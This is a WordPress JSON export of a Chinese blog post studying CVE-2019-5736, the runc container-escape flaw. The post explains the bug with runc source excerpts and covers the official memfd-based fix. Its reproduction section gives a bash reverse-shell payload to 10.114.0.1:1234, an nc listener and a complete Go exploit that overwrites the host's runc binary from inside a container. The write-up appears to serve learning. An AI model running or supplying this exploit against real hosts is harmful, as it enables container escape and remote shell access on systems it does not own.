{"id":372,"date":"2023-02-20T18:25:43","date_gmt":"2023-02-20T10:25:43","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=372"},"modified":"2023-07-04T16:27:21","modified_gmt":"2023-07-04T08:27:21","slug":"cve-2019-5736%e5%ad%a6%e4%b9%a0-%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=372","title":{"rendered":"CVE-2019-5736\u5b66\u4e60"},"content":{"rendered":"<p><!--more--><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<p>CVE-2019-5736\u662f\u4e00\u4e2arunc\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u8ba9\u5bb9\u5668\u4e2d\u7684\u8fdb\u7a0b\u8986\u5199runc\u7a0b\u5e8f\u6587\u4ef6\uff0c\u4ece\u800c\u5728\u5bbf\u4e3b\u4e2d\u6267\u884c\u4efb\u610f\u6307\u4ee4\u3002<\/p>\n<p>\u5f53\u5bbf\u4e3b\u4e2d\u7684runc\u8981\u8fd0\u884c\u5bb9\u5668\u4e2d\u7684\u7a0b\u5e8f\u65f6\uff0c\u5b83\u4f1a\u8c03\u7528nsexec()\u65b9\u6cd5\u6765\u8fdb\u5165\u5bb9\u5668\u7684namespace\uff0c\u7136\u540e\u624d\u4f1a\u8fd0\u884c\u5bb9\u5668\u4e2d\u7684\u7a0b\u5e8f[1.1]\uff1a<\/p>\n<pre>void join_namespaces(char *nslist)\r\n{\r\n    int num = 0, i;\r\n    char *saveptr = NULL;\r\n    char *namespace = strtok_r(nslist, \",\", &amp;saveptr);\r\n    struct namespace_t {\r\n        int fd;\r\n        int ns;\r\n        char type[PATH_MAX];\r\n        char path[PATH_MAX];\r\n    } *namespaces = NULL;\r\n    ......\r\n    for (i = 0; i &lt; num; i++) {\r\n        struct namespace_t ns = namespaces[i];\r\n\r\n        if (setns(ns.fd, ns.ns) &lt; 0)\r\n            bail(\"failed to setns to %s\", ns.path);\r\n\r\n        close(ns.fd);\r\n    }\r\n    free(namespaces);\r\n}\r\n\r\nvoid nsexec(void)\r\n{\r\n    ......\r\n    case JUMP_CHILD:{\r\n        ......\r\n        if (config.namespaces)\r\n            join_namespaces(config.namespaces);\r\n        if (unshare(config.cloneflags) &lt; 0)\r\n            bail(\"failed to unshare namespaces\");\r\n        ......\r\n    }\r\n    ......\r\n}\r\n<\/pre>\n<p>\u7136\u800c\uff0c\u5982\u679crunc\u8fd0\u884c\u7684\u7a0b\u5e8f\u88ab\u4fee\u6539\u4e3a\u201c#!\/proc\/self\/exe\u201d\uff0crunc\u5c31\u4f1a\u5728\u5bb9\u5668\u4e2d\u8fd0\u884c\u5b83\u81ea\u5df1\u3002\u540c\u65f6\uff0c\u7531\u4e8erunc\u5df2\u7ecf\u8fdb\u5165\u4e86\u5bb9\u5668\u7684namespace\uff0crunc\u7684\u8fdb\u7a0b\u4fbf\u53ef\u4ee5\u5728\u5bb9\u5668\u4e2d\u7684\/proc\u91cc\u88ab\u53d1\u73b0\uff0c\u6b64\u65f6\u5bb9\u5668\u4e2d\u7684\u7a0b\u5e8f\u5c31\u53ef\u4ee5\u628arunc\u7684\u7a0b\u5e8f\u6587\u4ef6\u7684\u5185\u5bb9\u4fee\u6539\u4e3a\u4efb\u610f\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<h4>\u6f0f\u6d1e\u590d\u73b0<\/h4>\n<p>\u6ce8\u610f\uff1a\u8be5\u6f0f\u6d1e\u4f1a\u8986\u5199runc\u7a0b\u5e8f\uff0c\u9700\u8981\u63d0\u524d\u505a\u5907\u4efd\u3002<\/p>\n<p>\u7cfb\u7edf\uff1aUbuntu 18.04<br \/>\nDocker\uff1a18.09.1<br \/>\ncontainerd\uff1a1.2.0-1<\/p>\n<p>\u521b\u5efa\u4e00\u4e2a\u5bb9\u5668\uff0c\u5728\u91cc\u9762\u521b\u5efapayload\u6587\u4ef6\uff1a<\/p>\n<pre>#!\/bin\/bash\r\n\/bin\/bash -i &gt;&amp; \/dev\/tcp\/10.114.0.1\/1234 0&gt;&amp;1\r\n<\/pre>\n<p>\u572810.114.0.1\u4e2d\u5f00\u542f\u76d1\u542c\uff1a<\/p>\n<pre>nc -lvp 1234\r\n<\/pre>\n<p>\u7136\u540e\u5728\u5bb9\u5668\u4e2d\u521b\u5efa\u5e76\u7f16\u8bd1exp\uff0c\u5176\u4e2d\u201c\/exp.sh\u201d\u4e3a\u4e0a\u9762\u521b\u5efa\u7684payload\u6587\u4ef6\uff1a<\/p>\n<pre>package main\r\n\r\nimport (\r\n    \"io\/ioutil\"\r\n    \"os\"\r\n    \"strconv\"\r\n    \"bytes\"\r\n)\r\n\r\nfunc main() {\r\n    payload, _ := ioutil.ReadFile(\"\/exp.sh\")\r\n    ioutil.WriteFile(\"\/bin\/sh\", []byte(\"#!\/proc\/self\/exe\"), 0755)\r\n\r\n    pid := \"\"\r\n    for pid == \"\" {\r\n        pids, _ := ioutil.ReadDir(\"\/proc\")\r\n\r\n        for _, f := range pids {\r\n            cmdline, _ := ioutil.ReadFile(\"\/proc\/\" + f.Name() + \"\/cmdline\")\r\n            if bytes.Contains(cmdline, []byte(\"runc\")) {\r\n                pid = f.Name()\r\n                break\r\n            }\r\n        }\r\n    }\r\n\r\n    exefd := \"\"\r\n    for {\r\n        exe, _ := os.Open(\"\/proc\/\"+pid+\"\/exe\")\r\n        if int(exe.Fd()) &gt; 0 {\r\n            exefd = strconv.Itoa(int(exe.Fd()))\r\n            break\r\n        }\r\n    }\r\n\r\n    for {\r\n        writefd, _ := os.OpenFile(\"\/proc\/self\/fd\/\"+exefd, os.O_WRONLY|os.O_TRUNC, 0755)\r\n        if int(writefd.Fd()) &gt; 0 {\r\n            writefd.Write(payload)\r\n            break\r\n        }\r\n    }\r\n}\r\n<\/pre>\n<p>\u5728\u5bb9\u5668\u4e2d\u6267\u884c\u8be5\u7a0b\u5e8f\uff0c\u7136\u540e\u5728\u53e6\u4e00\u4e2a\u5bbf\u4e3b\u7684session\u4e2d\u6267\u884c\u5bb9\u5668\u7684\/bin\/sh\uff1a<\/p>\n<pre>sudo docker exec -it ubuntu \/bin\/sh\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-375\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_exec_sh.png\" alt=\"\" width=\"828\" height=\"84\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_exec_sh.png 828w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_exec_sh-300x30.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_exec_sh-768x78.png 768w\" sizes=\"auto, (max-width: 828px) 100vw, 828px\" \/><\/p>\n<p>\u7531\u4e8e\u6b64\u65f6\u5bb9\u5668\u4e2d\u7684\/bin\/sh\u5df2\u7ecf\u88ab\u8986\u5199\uff0c\u6b64\u5904\u5b9e\u9645\u4e0a\u8fd0\u884c\u7684\u662frunc\u672c\u8eab\u3002\u968f\u540e\u4e4b\u524d\u8fd0\u884c\u7684exp\u8986\u5199runc\u6587\u4ef6\uff0c\u5185\u5bb9\u4e3apayload\u7684\u5185\u5bb9\uff0c\u6b64\u65f6\u5bbf\u4e3b\u4f1a\u53cd\u5f39\u4e00\u4e2ashell\u5230\u653b\u51fb\u673a\u3002<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-376\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_shell_rev.png\" alt=\"\" width=\"1778\" height=\"382\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_shell_rev.png 1778w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_shell_rev-300x64.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_shell_rev-1024x220.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_shell_rev-768x165.png 768w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_shell_rev-1536x330.png 1536w\" sizes=\"auto, (max-width: 1778px) 100vw, 1778px\" \/><\/p>\n<p>\u5e76\u4e14\u4e5f\u53ef\u4ee5\u770b\u5230runc\u6587\u4ef6\u7684\u5185\u5bb9\u53d1\u751f\u4e86\u53d8\u5316\u3002<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-374\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_cat_runc.png\" alt=\"\" width=\"826\" height=\"108\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_cat_runc.png 826w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_cat_runc-300x39.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/02\/5736_cat_runc-768x100.png 768w\" sizes=\"auto, (max-width: 826px) 100vw, 826px\" \/><\/p>\n<h4>\u5b98\u65b9\u4fee\u590d<\/h4>\n<p>\u5728\u4fee\u590d\u540e\uff0crunc\u4f1a\u5148\u5c06\u81ea\u5df1\u590d\u5236\u4e3a\u4e00\u4e2a\u4e34\u65f6\u5b58\u5728\u4e8e\u5185\u5b58\u4e2d\u7684\u533f\u540d\u6587\u4ef6\uff0c\u7136\u540e\u590d\u5236\u540e\u7684runc\u4f1a\u8fdb\u5165\u5bb9\u5668\u7684namespace\uff0c\u800c\u539f\u672c\u7684runc\u5219\u4e0d\u4f1a\u8fdb\u5165\uff0c\u8fd9\u6837\u5bb9\u5668\u4e2d\u5bf9runc\u7684\u4fee\u6539\u5c31\u4e0d\u4f1a\u5f71\u54cd\u5230\u5bbf\u4e3b\u4e2d\u539f\u672c\u7684runc[3.1]\u3002<\/p>\n<pre>#ifdef HAVE_MEMFD_CREATE\r\n    memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING);\r\n#else\r\n    memfd = open(\"\/tmp\", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711);\r\n#endif\r\n    if (memfd &lt; 0)\r\n        return -ENOTRECOVERABLE;\r\n    binfd = open(\"\/proc\/self\/exe\", O_RDONLY | O_CLOEXEC);\r\n    if (binfd &lt; 0)\r\n        goto error;\r\n    sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX);\r\n    close(binfd);\r\n<\/pre>\n<h4>\u53c2\u8003<\/h4>\n<p>[1.1] <a href=\"https:\/\/github.com\/opencontainers\/runc\/blob\/v1.0.0-rc5\/libcontainer\/nsenter\/nsexec.c#L792\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/opencontainers\/runc\/blob\/v1.0.0-rc5\/libcontainer\/nsenter\/nsexec.c#L792<\/a><br \/>\n[2.1] <a href=\"https:\/\/unit42.paloaltonetworks.com\/breaking-docker-via-runc-explaining-cve-2019-5736\/\" rel=\"noopener\" target=\"_blank\">https:\/\/unit42.paloaltonetworks.com\/breaking-docker-via-runc-explaining-cve-2019-5736\/<\/a><br \/>\n[2.2] <a href=\"https:\/\/github.com\/Frichetten\/CVE-2019-5736-PoC\" rel=\"noopener\" target=\"_blank\">https:\/\/github.com\/Frichetten\/CVE-2019-5736-PoC<\/a><br \/>\n[3.1] <a href=\"https:\/\/github.com\/opencontainers\/runc\/commit\/0a8e4117e7f715d5fbeef398405813ce8e88558b\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/opencontainers\/runc\/commit\/0a8e4117e7f715d5fbeef398405813ce8e88558b<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-372","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/372","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=372"}],"version-history":[{"count":5,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/372\/revisions"}],"predecessor-version":[{"id":509,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/372\/revisions\/509"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=372"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=372"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=372"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}